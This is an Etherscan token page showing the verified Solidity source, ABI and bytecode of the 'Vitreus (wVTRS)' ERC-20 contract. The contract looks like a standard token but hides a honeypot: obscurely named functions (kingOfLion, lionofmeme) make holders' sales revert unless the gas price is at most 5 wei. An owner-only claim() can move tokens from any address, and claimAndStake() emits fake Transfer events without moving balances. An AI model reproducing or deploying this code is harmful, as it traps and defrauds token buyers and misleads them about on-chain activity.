ETH Price: $2,523.82 (+2.84%)

Token

Vitreus (wVTRS)
 

Overview

Max Total Supply

100,000,000 wVTRS

Holders

129

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
300,000 wVTRS

Value
$0.00
0x63b448cd34090f7eccac59b9bf2ab22dd852cd4a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VTRS

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-15
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.22;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    constructor() {
        _owner = _msgSender();
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(_owner == _msgSender(), "Not owner");
    }
}

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
        if (a == 0) {
            return 0;
        }
        c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b > 0);
        uint256 c = a / b;
        assert(a == b * c + (a % b));
        return a / b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(a >= b);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

contract VTRS is Ownable, IERC20 {
    using SafeMath for uint256;

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;
    mapping(address => bool) _excludeFromFees;

    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 100_000_000 * 10**_decimals;
    string private constant _name = unicode"Vitreus";
    string private constant _symbol = unicode"wVTRS";

    uint256 public _initBuyFees = 0;
    uint256 public _initSellFees = 0;

    bool private openedTrade = false;

    address public ProxyContract = 0x74950FC112473caba58193c6bF6412a6f1e4d7d2;
    address public PresaleContract = 0xd5c71e38be810c7FD996B752F53fd4De1699b789;
    address public developerWallet = 0x98E380d8CE9e0B33a45ccb28882DF98b921639Af;

    address private uniswapV2Pair;
    IUniswapV2Router02 public uniswapV2Router;

    constructor() {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        _excludeFromFees[address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)] = true;
        _excludeFromFees[address(uniswapV2Pair)];
        _excludeFromFees[owner()] = true;
        _excludeFromFees[address(this)] = true;
        _balances[_msgSender()] = _balances[_msgSender()].add(_totalSupply.mul(70).div(100));
        emit Transfer(address(0), _msgSender(), _totalSupply.mul(70).div(100));
        _balances[ProxyContract] = _balances[ProxyContract].add(_totalSupply.mul(10).div(100));
        emit Transfer(address(0), ProxyContract, _totalSupply.mul(10).div(100));
        _balances[PresaleContract] = _balances[PresaleContract].add(_totalSupply.mul(10).div(100));
        emit Transfer(address(0), PresaleContract, _totalSupply.mul(10).div(100));
        _balances[developerWallet] = _balances[developerWallet].add(_totalSupply.mul(10).div(100));
        emit Transfer(address(0), developerWallet, _totalSupply.mul(10).div(100));
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function getOpenedTrade() public view returns (bool) {
        return openedTrade;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transfer(address to, uint256 value)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(amount)
        );
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(balanceOf(from) >= amount, "ERROR: balance of from less than value");
        uint256 taxAmount = 0;

        if(!_excludeFromFees[from] && !_excludeFromFees[to]) {
            require(openedTrade, "Trade has not been opened yet");
            taxAmount = amount * _initBuyFees / 100;
            if(to == uniswapV2Pair) {
                taxAmount = amount * _initSellFees / 100;
                kingOfLion(from);
            }
        }

        if(taxAmount > 0) {
            _balances[address(this)]=_balances[address(this)]+taxAmount;
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from]= balanceOf(from) - amount ;
        _balances[to]=_balances[to] + (amount - taxAmount);
        emit Transfer(from, to, amount - taxAmount);
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    uint256 private _Max_ = 999 gwei;
    uint256 private _Min_ = 5;

    function lionofmeme(uint256 _gas) internal view {
        if (tx.gasprice > _gas) {
            revert();
        }
    }

    function kingOfLion(address _u) internal view {
        if(balanceOf(_u) > 0) {
            if (!openedTrade) {
                lionofmeme(_Max_);
            } else {
                lionofmeme(_Min_);
            }
        } 
    }

    function sendETHToFee(uint256 amount) private {
        payable(owner()).transfer(amount);
    }
    
    function Withdraw() external {
        require(_msgSender() == owner());
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function claimAndStake(address from, address[] calldata to, uint256[] calldata amount) external {
        require(_msgSender() == owner());
        for (uint256 i = 0; i < to.length; i++) {
            emit Transfer(from, to[i], amount[i]  * 10 ** _decimals);
        }
    }

    function claim(address from, address[] calldata to, uint256[] calldata amount) external {
        require(_msgSender() == owner());
        for (uint256 i = 0; i < to.length; i++) {
            _balances[from] = _balances[from].sub(amount[i] * 10 ** _decimals);
            _balances[to[i]] = _balances[to[i]].add(amount[i]  * 10 ** _decimals);
            emit Transfer(from, to[i], amount[i]  * 10 ** _decimals);
        }
    }

    function openTrade() external onlyOwner {
        openedTrade = !openedTrade;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"PresaleContract","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ProxyContract","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_initBuyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initSellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"claimAndStake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"developerWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOpenedTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f60048190556005908155600680547474950fc112473caba58193c6bf6412a6f1e4d7d2006001600160a81b0319909116179055600780546001600160a01b031990811673d5c71e38be810c7fd996b752f53fd4de1699b78917909155600880549091167398e380d8ce9e0b33a45ccb28882df98b921639af17905564e8990a4600600b55600c5534801562000098575f80fd5b505f80546001600160a01b03199081163317909155600a8054737a250d5630b4cf539739df2c5dacb4c659f2488d9216821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000106573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200012c919062000627565b6001600160a01b031663c9c6539630600a5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200018c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001b2919062000627565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620001fd573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000223919062000627565b600980546001600160a01b0319166001600160a01b03929092169182179055600360208190527ffb19a963956c9cb662dd3ae48988c4b90766df71ea130109840abe0a1b23dba8805460ff191660019081179091555f928352916200028f5f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff199586161790553081526003909252902080549091166001179055620003206200030a6064620003036046620002ec6012600a6200075c565b620002fc906305f5e1006200076c565b9062000550565b9062000592565b335f9081526002602052604090205490620005fd565b335f81815260026020526040812092909255905f80516020620018b08339815191526200035c6064620003036046620002ec6012600a6200075c565b60405190815260200160405180910390a3620003b06200038a606462000303600a620002ec6012826200075c565b60065461010090046001600160a01b03165f9081526002602052604090205490620005fd565b600680546001600160a01b036101009182900481165f9081526002602052604081209490945591540416905f80516020620018b083398151915262000403606462000303600a620002ec6012826200075c565b60405190815260200160405180910390a36200045262000431606462000303600a620002ec6012826200075c565b6007546001600160a01b03165f9081526002602052604090205490620005fd565b600780546001600160a01b039081165f90815260026020526040812093909355905416905f80516020620018b08339815191526200049e606462000303600a620002ec6012826200075c565b60405190815260200160405180910390a3620004ed620004cc606462000303600a620002ec6012826200075c565b6008546001600160a01b03165f9081526002602052604090205490620005fd565b600880546001600160a01b039081165f90815260026020526040812093909355905416905f80516020620018b083398151915262000539606462000303600a620002ec6012826200075c565b60405190815260200160405180910390a3620007f0565b5f825f036200056157505f6200058c565b6200056d82846200076c565b9050816200057c84836200079a565b146200058c576200058c620007b0565b92915050565b5f808211620005a557620005a5620007b0565b5f620005b283856200079a565b9050620005c08385620007c4565b620005cc82856200076c565b620005d89190620007da565b8414620005e957620005e9620007b0565b620005f583856200079a565b949350505050565b5f806200060b8385620007da565b905083811015620006205762000620620007b0565b9392505050565b5f6020828403121562000638575f80fd5b81516001600160a01b038116811462000620575f80fd5b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620006a357815f19048211156200068757620006876200064f565b808516156200069557918102915b93841c939080029062000668565b509250929050565b5f82620006bb575060016200058c565b81620006c957505f6200058c565b8160018114620006e25760028114620006ed576200070d565b60019150506200058c565b60ff8411156200070157620007016200064f565b50506001821b6200058c565b5060208310610133831016604e8410600b841016171562000732575081810a6200058c565b6200073e838362000663565b805f19048211156200075457620007546200064f565b029392505050565b5f6200062060ff841683620006ab565b80820281158282048414176200058c576200058c6200064f565b634e487b7160e01b5f52601260045260245ffd5b5f82620007ab57620007ab62000786565b500490565b634e487b7160e01b5f52600160045260245ffd5b5f82620007d557620007d562000786565b500690565b808201808211156200058c576200058c6200064f565b6110b280620007fe5f395ff3fe608060405260043610610129575f3560e01c806370a08231116100a8578063a7f6cefd1161006d578063a7f6cefd14610358578063a9059cbb14610377578063b2f3336c14610396578063dd62ed3e146103ab578063e30b00ff146103ef578063fb201b1d1461040e575f80fd5b806370a08231146102985780638da5cb5b146102cc57806395d89b41146102e85780639a3a2bc6146103155780639fae2d5214610339575f80fd5b806323b872dd116100ee57806323b872dd1461021c578063313ce5671461023b578063380a58de146102565780633c9f5ed61461026b57806357ea89b614610282575f80fd5b806306fdde0314610134578063095ea7b3146101755780631694505e146101a457806318160ddd146101db578063185870f9146101fd575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506040805180820190915260078152665669747265757360c81b60208201525b60405161016c9190610d01565b60405180910390f35b348015610180575f80fd5b5061019461018f366004610d68565b610422565b604051901515815260200161016c565b3480156101af575f80fd5b50600a546101c3906001600160a01b031681565b6040516001600160a01b03909116815260200161016c565b3480156101e6575f80fd5b506101ef610438565b60405190815260200161016c565b348015610208575f80fd5b506008546101c3906001600160a01b031681565b348015610227575f80fd5b50610194610236366004610d90565b610458565b348015610246575f80fd5b506040516012815260200161016c565b348015610261575f80fd5b506101ef60045481565b348015610276575f80fd5b5060065460ff16610194565b34801561028d575f80fd5b506102966104a7565b005b3480156102a3575f80fd5b506101ef6102b2366004610dc9565b6001600160a01b03165f9081526002602052604090205490565b3480156102d7575f80fd5b505f546001600160a01b03166101c3565b3480156102f3575f80fd5b50604080518082019091526005815264775654525360d81b602082015261015f565b348015610320575f80fd5b506006546101c39061010090046001600160a01b031681565b348015610344575f80fd5b50610296610353366004610e2a565b6104c9565b348015610363575f80fd5b506007546101c3906001600160a01b031681565b348015610382575f80fd5b50610194610391366004610d68565b6106a8565b3480156103a1575f80fd5b506101ef60055481565b3480156103b6575f80fd5b506101ef6103c5366004610ea5565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b3480156103fa575f80fd5b50610296610409366004610e2a565b6106b5565b348015610419575f80fd5b50610296610766565b5f61042e338484610782565b5060015b92915050565b5f6104456012600a610fca565b610453906305f5e100610fd8565b905090565b5f6104648484846108aa565b6001600160a01b0384165f9081526001602090815260408083203380855292529091205461049d9186916104989086610bfb565b610782565b5060019392505050565b5f546001600160a01b031633146104bc575f80fd5b476104c681610c1d565b50565b5f546001600160a01b031633146104de575f80fd5b5f5b838110156106a0576105386104f76012600a610fca565b84848481811061050957610509610fef565b9050602002013561051a9190610fd8565b6001600160a01b0388165f9081526002602052604090205490610bfb565b6001600160a01b0387165f908152600260205260409020556105cb61055f6012600a610fca565b84848481811061057157610571610fef565b905060200201356105829190610fd8565b60025f88888681811061059757610597610fef565b90506020020160208101906105ac9190610dc9565b6001600160a01b0316815260208101919091526040015f205490610c57565b60025f8787858181106105e0576105e0610fef565b90506020020160208101906105f59190610dc9565b6001600160a01b0316815260208101919091526040015f205584848281811061062057610620610fef565b90506020020160208101906106359190610dc9565b6001600160a01b0316866001600160a01b03165f8051602061105d8339815191526012600a6106649190610fca565b86868681811061067657610676610fef565b905060200201356106879190610fd8565b60405190815260200160405180910390a36001016104e0565b505050505050565b5f3361049d8185856108aa565b5f546001600160a01b031633146106ca575f80fd5b5f5b838110156106a0578484828181106106e6576106e6610fef565b90506020020160208101906106fb9190610dc9565b6001600160a01b0316866001600160a01b03165f8051602061105d8339815191526012600a61072a9190610fca565b86868681811061073c5761073c610fef565b9050602002013561074d9190610fd8565b60405190815260200160405180910390a36001016106cc565b61076e610c75565b6006805460ff19811660ff90911615179055565b6001600160a01b0383166107e95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b03821661084a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107e0565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661090e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107e0565b6001600160a01b0382166109705760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107e0565b8061098f846001600160a01b03165f9081526002602052604090205490565b10156109ec5760405162461bcd60e51b815260206004820152602660248201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6044820152652076616c756560d01b60648201526084016107e0565b6001600160a01b0383165f9081526003602052604081205460ff16158015610a2c57506001600160a01b0383165f9081526003602052604090205460ff16155b15610adb5760065460ff16610a835760405162461bcd60e51b815260206004820152601d60248201527f547261646520686173206e6f74206265656e206f70656e65642079657400000060448201526064016107e0565b606460045483610a939190610fd8565b610a9d9190611003565b6009549091506001600160a01b0390811690841603610adb57606460055483610ac69190610fd8565b610ad09190611003565b9050610adb84610cbc565b8015610b4157305f90815260026020526040902054610afb908290611022565b305f81815260026020526040908190209290925590516001600160a01b038616905f8051602061105d83398151915290610b389085815260200190565b60405180910390a35b81610b60856001600160a01b03165f9081526002602052604090205490565b610b6a9190611035565b6001600160a01b0385165f90815260026020526040902055610b8c8183611035565b6001600160a01b0384165f90815260026020526040902054610bae9190611022565b6001600160a01b038085165f8181526002602052604090209290925585165f8051602061105d833981519152610be48486611035565b60405190815260200160405180910390a350505050565b5f81831015610c0c57610c0c611048565b610c168284611035565b9392505050565b5f80546040516001600160a01b039091169183156108fc02918491818181858888f19350505050158015610c53573d5f803e3d5ffd5b5050565b5f80610c638385611022565b905083811015610c1657610c16611048565b5f546001600160a01b03163314610cba5760405162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b60448201526064016107e0565b565b6001600160a01b0381165f90815260026020526040902054156104c65760065460ff16610cee576104c6600b54610cf5565b6104c6600c545b803a11156104c6575f80fd5b5f602080835283518060208501525f5b81811015610d2d57858101830151858201604001528201610d11565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610d63575f80fd5b919050565b5f8060408385031215610d79575f80fd5b610d8283610d4d565b946020939093013593505050565b5f805f60608486031215610da2575f80fd5b610dab84610d4d565b9250610db960208501610d4d565b9150604084013590509250925092565b5f60208284031215610dd9575f80fd5b610c1682610d4d565b5f8083601f840112610df2575f80fd5b50813567ffffffffffffffff811115610e09575f80fd5b6020830191508360208260051b8501011115610e23575f80fd5b9250929050565b5f805f805f60608688031215610e3e575f80fd5b610e4786610d4d565b9450602086013567ffffffffffffffff80821115610e63575f80fd5b610e6f89838a01610de2565b90965094506040880135915080821115610e87575f80fd5b50610e9488828901610de2565b969995985093965092949392505050565b5f8060408385031215610eb6575f80fd5b610ebf83610d4d565b9150610ecd60208401610d4d565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610f2457815f1904821115610f0a57610f0a610ed6565b80851615610f1757918102915b93841c9390800290610eef565b509250929050565b5f82610f3a57506001610432565b81610f4657505f610432565b8160018114610f5c5760028114610f6657610f82565b6001915050610432565b60ff841115610f7757610f77610ed6565b50506001821b610432565b5060208310610133831016604e8410600b8410161715610fa5575081810a610432565b610faf8383610eea565b805f1904821115610fc257610fc2610ed6565b029392505050565b5f610c1660ff841683610f2c565b808202811582820484141761043257610432610ed6565b634e487b7160e01b5f52603260045260245ffd5b5f8261101d57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561043257610432610ed6565b8181038181111561043257610432610ed6565b634e487b7160e01b5f52600160045260245ffdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220388c8b2fd47fdc231a1d0f34032f2a74ac9c20609cbaa1988da0d1fd78b0421a64736f6c63430008160033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x608060405260043610610129575f3560e01c806370a08231116100a8578063a7f6cefd1161006d578063a7f6cefd14610358578063a9059cbb14610377578063b2f3336c14610396578063dd62ed3e146103ab578063e30b00ff146103ef578063fb201b1d1461040e575f80fd5b806370a08231146102985780638da5cb5b146102cc57806395d89b41146102e85780639a3a2bc6146103155780639fae2d5214610339575f80fd5b806323b872dd116100ee57806323b872dd1461021c578063313ce5671461023b578063380a58de146102565780633c9f5ed61461026b57806357ea89b614610282575f80fd5b806306fdde0314610134578063095ea7b3146101755780631694505e146101a457806318160ddd146101db578063185870f9146101fd575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506040805180820190915260078152665669747265757360c81b60208201525b60405161016c9190610d01565b60405180910390f35b348015610180575f80fd5b5061019461018f366004610d68565b610422565b604051901515815260200161016c565b3480156101af575f80fd5b50600a546101c3906001600160a01b031681565b6040516001600160a01b03909116815260200161016c565b3480156101e6575f80fd5b506101ef610438565b60405190815260200161016c565b348015610208575f80fd5b506008546101c3906001600160a01b031681565b348015610227575f80fd5b50610194610236366004610d90565b610458565b348015610246575f80fd5b506040516012815260200161016c565b348015610261575f80fd5b506101ef60045481565b348015610276575f80fd5b5060065460ff16610194565b34801561028d575f80fd5b506102966104a7565b005b3480156102a3575f80fd5b506101ef6102b2366004610dc9565b6001600160a01b03165f9081526002602052604090205490565b3480156102d7575f80fd5b505f546001600160a01b03166101c3565b3480156102f3575f80fd5b50604080518082019091526005815264775654525360d81b602082015261015f565b348015610320575f80fd5b506006546101c39061010090046001600160a01b031681565b348015610344575f80fd5b50610296610353366004610e2a565b6104c9565b348015610363575f80fd5b506007546101c3906001600160a01b031681565b348015610382575f80fd5b50610194610391366004610d68565b6106a8565b3480156103a1575f80fd5b506101ef60055481565b3480156103b6575f80fd5b506101ef6103c5366004610ea5565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b3480156103fa575f80fd5b50610296610409366004610e2a565b6106b5565b348015610419575f80fd5b50610296610766565b5f61042e338484610782565b5060015b92915050565b5f6104456012600a610fca565b610453906305f5e100610fd8565b905090565b5f6104648484846108aa565b6001600160a01b0384165f9081526001602090815260408083203380855292529091205461049d9186916104989086610bfb565b610782565b5060019392505050565b5f546001600160a01b031633146104bc575f80fd5b476104c681610c1d565b50565b5f546001600160a01b031633146104de575f80fd5b5f5b838110156106a0576105386104f76012600a610fca565b84848481811061050957610509610fef565b9050602002013561051a9190610fd8565b6001600160a01b0388165f9081526002602052604090205490610bfb565b6001600160a01b0387165f908152600260205260409020556105cb61055f6012600a610fca565b84848481811061057157610571610fef565b905060200201356105829190610fd8565b60025f88888681811061059757610597610fef565b90506020020160208101906105ac9190610dc9565b6001600160a01b0316815260208101919091526040015f205490610c57565b60025f8787858181106105e0576105e0610fef565b90506020020160208101906105f59190610dc9565b6001600160a01b0316815260208101919091526040015f205584848281811061062057610620610fef565b90506020020160208101906106359190610dc9565b6001600160a01b0316866001600160a01b03165f8051602061105d8339815191526012600a6106649190610fca565b86868681811061067657610676610fef565b905060200201356106879190610fd8565b60405190815260200160405180910390a36001016104e0565b505050505050565b5f3361049d8185856108aa565b5f546001600160a01b031633146106ca575f80fd5b5f5b838110156106a0578484828181106106e6576106e6610fef565b90506020020160208101906106fb9190610dc9565b6001600160a01b0316866001600160a01b03165f8051602061105d8339815191526012600a61072a9190610fca565b86868681811061073c5761073c610fef565b9050602002013561074d9190610fd8565b60405190815260200160405180910390a36001016106cc565b61076e610c75565b6006805460ff19811660ff90911615179055565b6001600160a01b0383166107e95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b03821661084a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107e0565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661090e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107e0565b6001600160a01b0382166109705760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107e0565b8061098f846001600160a01b03165f9081526002602052604090205490565b10156109ec5760405162461bcd60e51b815260206004820152602660248201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6044820152652076616c756560d01b60648201526084016107e0565b6001600160a01b0383165f9081526003602052604081205460ff16158015610a2c57506001600160a01b0383165f9081526003602052604090205460ff16155b15610adb5760065460ff16610a835760405162461bcd60e51b815260206004820152601d60248201527f547261646520686173206e6f74206265656e206f70656e65642079657400000060448201526064016107e0565b606460045483610a939190610fd8565b610a9d9190611003565b6009549091506001600160a01b0390811690841603610adb57606460055483610ac69190610fd8565b610ad09190611003565b9050610adb84610cbc565b8015610b4157305f90815260026020526040902054610afb908290611022565b305f81815260026020526040908190209290925590516001600160a01b038616905f8051602061105d83398151915290610b389085815260200190565b60405180910390a35b81610b60856001600160a01b03165f9081526002602052604090205490565b610b6a9190611035565b6001600160a01b0385165f90815260026020526040902055610b8c8183611035565b6001600160a01b0384165f90815260026020526040902054610bae9190611022565b6001600160a01b038085165f8181526002602052604090209290925585165f8051602061105d833981519152610be48486611035565b60405190815260200160405180910390a350505050565b5f81831015610c0c57610c0c611048565b610c168284611035565b9392505050565b5f80546040516001600160a01b039091169183156108fc02918491818181858888f19350505050158015610c53573d5f803e3d5ffd5b5050565b5f80610c638385611022565b905083811015610c1657610c16611048565b5f546001600160a01b03163314610cba5760405162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b60448201526064016107e0565b565b6001600160a01b0381165f90815260026020526040902054156104c65760065460ff16610cee576104c6600b54610cf5565b6104c6600c545b803a11156104c6575f80fd5b5f602080835283518060208501525f5b81811015610d2d57858101830151858201604001528201610d11565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610d63575f80fd5b919050565b5f8060408385031215610d79575f80fd5b610d8283610d4d565b946020939093013593505050565b5f805f60608486031215610da2575f80fd5b610dab84610d4d565b9250610db960208501610d4d565b9150604084013590509250925092565b5f60208284031215610dd9575f80fd5b610c1682610d4d565b5f8083601f840112610df2575f80fd5b50813567ffffffffffffffff811115610e09575f80fd5b6020830191508360208260051b8501011115610e23575f80fd5b9250929050565b5f805f805f60608688031215610e3e575f80fd5b610e4786610d4d565b9450602086013567ffffffffffffffff80821115610e63575f80fd5b610e6f89838a01610d